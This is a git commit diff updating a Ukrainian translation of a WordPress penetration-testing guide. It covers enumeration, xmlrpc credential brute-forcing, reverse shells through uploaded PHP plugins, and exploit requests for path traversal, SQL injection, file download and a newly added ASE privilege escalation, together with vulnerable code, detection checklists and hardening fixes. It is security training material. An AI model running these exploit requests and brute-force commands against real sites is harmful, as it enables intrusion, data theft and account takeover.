Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-18 16:37:23 +00:00
parent aa28167d91
commit 84c78c22cb

View File

@ -5,12 +5,12 @@
## Основна інформація ## Основна інформація
- **Завантажені** файли знаходяться за адресою: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Завантажені** файли знаходяться за адресою: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Файли тем можна знайти в /wp-content/themes/,** тому, якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до **404.php** файлу за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Файли тем можна знайти в /wp-content/themes/,** тому якщо ви зміните деякі php файли теми для отримання RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ще один корисний URL може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Ще одна корисна URL-адреса може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- У **wp-config.php** ви можете знайти кореневий пароль бази даних. - У **wp-config.php** ви можете знайти кореневий пароль бази даних.
- Шляхи для входу за замовчуванням, які слід перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ - Шляхи для перевірки входу за замовчуванням: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Основні файли WordPress** ### **Основні файли WordPress**
@ -22,10 +22,10 @@
- `/wp-admin/wp-login.php` - `/wp-admin/wp-login.php`
- `/login.php` - `/login.php`
- `/wp-login.php` - `/wp-login.php`
- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, який діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress. - `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, що діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress.
- Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми. - Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми.
- `wp-content/uploads/` - це каталог, де зберігаються всі файли, завантажені на платформу. - `wp-content/uploads/` Це каталог, де зберігаються всі файли, завантажені на платформу.
- `wp-includes/` - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети. - `wp-includes/` Це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети.
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями. - `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями.
**Пост експлуатація** **Пост експлуатація**
@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Плагіни та Теми ### Плагіни та Теми
Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки). Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
### Користувачі ### Користувачі
@ -97,7 +97,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
```bash ```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
Зверніть увагу, що цей кінцевий пункт відкриває лише користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких активована ця функція**. Зверніть увагу, що цей кінцевий пункт відкриває лише користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких ця функція активована**.
Також зверніть увагу, що **/wp-json/wp/v2/pages** може витікати IP-адреси. Також зверніть увагу, що **/wp-json/wp/v2/pages** може витікати IP-адреси.
@ -120,7 +120,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**Брутфорс облікових даних** **Брутфорс облікових даних**
**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок: **`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** - це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок:
```html ```html
<methodCall> <methodCall>
<methodName>wp.getUsersBlogs</methodName> <methodName>wp.getUsersBlogs</methodName>
@ -229,7 +229,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** для шляху **/wp-json/oembed/1.0/proxy** і, якщо існує, намагається їх експлуатувати. Цей інструмент перевіряє, чи існує **methodName: pingback.ping** для шляху **/wp-json/oembed/1.0/proxy** і, якщо існує, намагається їх експлуатувати.
## Автоматичні інструменти ## Automatic Tools
```bash ```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
@ -267,7 +267,7 @@ to get a session.
### PHP плагін ### PHP плагін
Можливо, що можна завантажити .php файли як плагін.\ Можливо, що можна завантажити .php файли як плагін.\
Створіть свій php бекдор, використовуючи, наприклад: Створіть свій php бекдор, наприклад, використовуючи:
![](<../../images/image (183).png>) ![](<../../images/image (183).png>)
@ -287,7 +287,7 @@ to get a session.
![](<../../images/image (462).png>) ![](<../../images/image (462).png>)
Доступ до неї, і ви побачите URL для виконання реверс-оболонки: Отримайте доступ до неї, і ви побачите URL для виконання реверсної оболонки:
![](<../../images/image (1006).png>) ![](<../../images/image (1006).png>)
@ -297,7 +297,7 @@ to get a session.
1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374). 1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374).
2. **Встановлення плагіна**: 2. **Встановлення плагіна**:
- Перейдіть до панелі управління WordPress, потім перейдіть до `Панель управління > Плагіни > Завантажити плагін`. - Перейдіть до панелі управління WordPress, потім перейдіть до `Панель > Плагіни > Завантажити плагін`.
- Завантажте zip-файл завантаженого плагіна. - Завантажте zip-файл завантаженого плагіна.
3. **Активація плагіна**: Після успішної установки плагін потрібно активувати через панель управління. 3. **Активація плагіна**: Після успішної установки плагін потрібно активувати через панель управління.
4. **Експлуатація**: 4. **Експлуатація**:
@ -346,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).** **Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).**
> [!CAUTION] > [!CAUTION]
> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. > Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай не перевіряючи роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
- **REST API** - **REST API**
@ -372,11 +372,11 @@ $this->namespace, '/get/', array(
Теми та плагіни WordPress часто відкривають AJAX обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_**, **зворотний виклик стає доступним для неавтентифікованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізовувати: Теми та плагіни WordPress часто відкривають AJAX обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_**, **зворотний виклик стає доступним для неавтентифікованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізовувати:
1. **перевірку можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і 1. Перевірку **можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і
2. **CSRF nonce**, перевірений за допомогою `check_ajax_referer()` / `wp_verify_nonce()`, і 2. **CSRF nonce**, перевірений за допомогою `check_ajax_referer()` / `wp_verify_nonce()`, і
3. **Сувору санітизацію / валідацію введення**. 3. **Сувору санітизацію / валідацію вводу**.
Мультифункціональна тема Litho (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений): Тема Litho (мультифункціональна) (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений):
```php ```php
function litho_remove_font_family_action_data() { function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) { if ( empty( $_POST['fontfamily'] ) ) {
@ -395,11 +395,11 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
``` ```
Проблеми, які виникають через цей фрагмент: Проблеми, введені цим фрагментом:
* **Неавтентифікований доступ** хук `wp_ajax_nopriv_` зареєстровано. * **Неавтентифікований доступ** хук `wp_ajax_nopriv_` зареєстровано.
* **Відсутня перевірка nonce / можливостей** будь-який відвідувач може звернутися до кінцевої точки. * **Відсутня перевірка nonce / можливостей** будь-який відвідувач може звернутися до кінцевої точки.
* **Відсутня санітизація шляху** рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний перехід `../../`. * **Відсутня санітизація шляху** рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний `../../` обхід.
#### Експлуатація #### Експлуатація
@ -440,7 +440,71 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
``` ```
> [!TIP] > [!TIP]
> **Завжди** розглядайте будь-яку операцію запису/видалення на диску як привілейовану та двічі перевіряйте: > **Завжди** розглядайте будь-яку операцію запису/видалення на диску як привілейовану та двічі перевіряйте:
> • Аутентифікація • Авторизація • Нонси • Санітизація вводу • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`). > • Аутентифікація • Авторизація • Нонсе • Санітизація введення • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`).
---
### Підвищення привілеїв через відновлення застарілої ролі та відсутню авторизацію (ASE "Перегляд адміністратора як ролі")
Багато плагінів реалізують функцію "перегляд як роль" або тимчасового перемикання ролей, зберігаючи оригінальну роль(і) у метаданих користувача, щоб їх можна було відновити пізніше. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) та список, що підтримується плагіном, без перевірки можливостей та дійсного нонсу, це призводить до вертикального підвищення привілеїв.
Приклад з реального світу був знайдений у плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка скидання відновлювала ролі на основі `reset-for=<username>`, якщо ім'я користувача з'являлося в внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала перевірку `current_user_can()` або перевірку нонсу перед видаленням поточних ролей і повторним додаванням збережених ролей з метаданих користувача `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Чому це експлуатовано
- Довіряє `$_REQUEST['reset-for']` та опції плагіна без авторизації на стороні сервера.
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і був понижений, він може відновити їх, натиснувши на шлях скидання.
- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (порушена авторизація).
Передумови атаки
- Вразлива версія плагіна з увімкненою функцією.
- Цільовий обліковий запис має застарілу роль з високими привілеями, збережену в метаданих користувача з попереднього використання.
- Будь-яка автентифікована сесія; відсутній nonce/можливість у процесі скидання.
Експлуатація (приклад)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
На вразливих збірках це видаляє поточні ролі та повторно додає збережені оригінальні ролі (наприклад, `administrator`), ефективно підвищуючи привілеї.
Список перевірки виявлення
- Шукайте функції перемикання ролей, які зберігають “оригінальні ролі” в метаданих користувача (наприклад, `_asenha_view_admin_as_original_roles`).
- Визначте шляхи скидання/відновлення, які:
- Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`.
- Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`.
- Авторизують на основі масиву параметрів плагіна (наприклад, `viewing_admin_as_role_are`) замість можливостей актора.
Ускладнення
- Застосовуйте перевірки можливостей на кожному гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або суворіше).
- Вимагайте нонси для всіх мутацій ролей/дозволів та перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`.
- Ніколи не довіряйте іменам користувачів, наданим запитом; визначайте цільового користувача на стороні сервера на основі автентифікованого актора та явної політики.
- Скасовуйте стан “оригінальних ролей” при оновленнях профілю/ролі, щоб уникнути застарілого відновлення високих привілеїв:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Розгляньте можливість зберігання мінімального стану та використання токенів з обмеженим часом дії та захищених можливостей для тимчасових перемикань ролей.
--- ---
@ -448,7 +512,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
### Регулярні оновлення ### Регулярні оновлення
Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердіть, що автоматичне оновлення увімкнене у wp-config.php: Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтверджуйте, що автоматичне оновлення увімкнене в wp-config.php:
```bash ```bash
define( 'WP_AUTO_UPDATE_CORE', true ); define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_plugin', '__return_true' );
@ -482,11 +546,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM " $query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
``` ```
Проблеми, введені цим фрагментом: Проблеми, які виникають через цей фрагмент:
1. **Несанітизований ввід користувача** `parentid` надходить безпосередньо з HTTP запиту. 1. **Несанітизований ввід користувача** `parentid` надходить безпосередньо з HTTP запиту.
2. **Конкатенація рядків у WHERE клаузі** немає `is_numeric()` / `esc_sql()` / підготовленого запиту. 2. **Конкатенація рядків у WHERE клаузі** немає `is_numeric()` / `esc_sql()` / підготовленого запиту.
3. **Несанкціонована досяжність** хоча дія виконується через `admin-post.php`, єдина перевірка це **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати з публічної сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`. 3. **Несанкціонована досяжність** хоча дія виконується через `admin-post.php`, єдиною перевіркою є **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати з публічної сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`.
#### Експлуатація #### Експлуатація
@ -507,7 +571,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
### Несанкціоноване завантаження довільних файлів / Перехід по шляху (WP Job Portal <= 2.3.2) ### Несанкціоноване завантаження довільних файлів / Перехід по шляху (WP Job Portal <= 2.3.2)
Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`: Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач розташований у `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php ```php
$file = $path . '/' . $file_name; $file = $path . '/' . $file_name;
... ...
@ -528,7 +592,9 @@ curl -G https://victim.com/wp-admin/admin-post.php \
## Посилання ## Посилання
- [Вразливість неавтентифікованого довільного видалення файлів у темі Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Виправлено кілька критичних вразливостей у плагіні WP Job Portal](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}